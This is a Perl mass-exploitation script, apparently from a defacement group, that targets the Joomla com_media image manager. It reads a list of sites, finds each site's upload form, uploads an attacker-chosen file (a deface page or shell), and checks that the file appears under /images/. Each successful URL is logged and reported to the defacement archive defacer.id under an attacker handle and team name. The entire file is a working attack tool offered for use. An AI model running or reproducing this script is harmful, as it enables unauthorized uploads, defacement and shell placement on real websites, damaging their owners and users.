Auto Exploit Com_Media

#!/usr/bin/perl
# *** Brazilians Hackers Team ***
# By BrazilObscure

use Win32::Console::ANSI;
use Term::ANSIColor;
use LWP::UserAgent;
use HTTP::Request::Common;
if ($^O =~ /Win/) { system("cls"); } else { system("clear"); }

print "\n\n";
print"           ";
print colored("--=[ Auto Exploit COM MEDIA + AUTO SUBMIT MIRROR ]=--",'on_red');
print "\n";
print"          ";
print colored("               .::Auto Exploit Com_Media::.",'on_black'),"\n";
print" ";
print"         ";
sleep(1);

;

$file = $ARGV[1];
unless ($file) {
print "\n\n";
print colored (" [*] Tutor : ./$0 sites.txt selena.jpg or selena.txt ",'bold on_green'),"\n";  # jpg ou txt

         exit;
}
open(tarrget,"<$ARGV[0]") or die "$!";
while(<tarrget>){
chomp($_);
$webs = $_;
if($webs !~ /http:\/\//)
{
$webs = "http://$webs";
}
$zeeb = $webs."/index.php?option=com_media&view=images&tmpl=component&fieldid=&e_name=jform_articletext&asset=com_content&author=&folder=";

print colored "\n\n [+] Analisis Korban.... ==> $webs",'bold on_blue';

$ua = LWP::UserAgent->new;
$ua->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.1) Gecko/20090624 Firefox/3.5");
$fucki = $ua->get($zeeb);
$kzz = $fucki->content;
if($kzz =~/<form action="(.*?)" id=\"uploadForm\" class=\"form-horizontal\" name=\"uploadForm\" method=\"post\" enctype=\"multipart\/form-data\">/ || $kzz =~ /<form action="(.*?)" id=\"uploadForm\" name=\"uploadForm\" method=\"post\" enctype=\"multipart\/form-data\">/ )
{
       print colored "\n [+] Melakukan Penggeledahan... ==> $webs",'bold on_yellow'; sleep(1);

$url = $1;
$url =~ s/&amp;/&/gi;

} else { print colored "\n [-] Gk vuln gan ==> $webs",'bold on_red'; sleep(1); }

my $res = $ua->post($url, Content_Type => 'form-data', Content => [ Filedata => [$file] ]);

$shell = $webs."/images/".$file;

$check = $ua->get($shell);
if($check->content =~/by/ || $check->is_success ) {

       print colored "\n [+] Success!!! ==> $shell\n",'bold on_green';

open(save ,">>result.txt");
print save "$shell\n";
close save;

$res= $ua->post("https://defacer.id/archive/notify",[
                               'attacker'     => 'Kyu_Kazami', # Nick Lu
                               'team' => 'Family Attack Cyber',
                               'poc' => 'SQL Injection',
                               'url'   => $shell,
                               'submit'       => 'Report',
                               ]);
                               if ($res->content =~ /color="red">(.*)<\/font><\/li>/) {
                               print colored " [+] Defacer.id $1\n",'bold on_green'; sleep(1);
                               }
                               else
                               {
                               print colored " [-] Gagal Submit!!! \n",'bold on_red'; sleep(1);
                               }

} else {  print colored "\n [-] Gagal Upload Asw ",'bold on_red';   }


}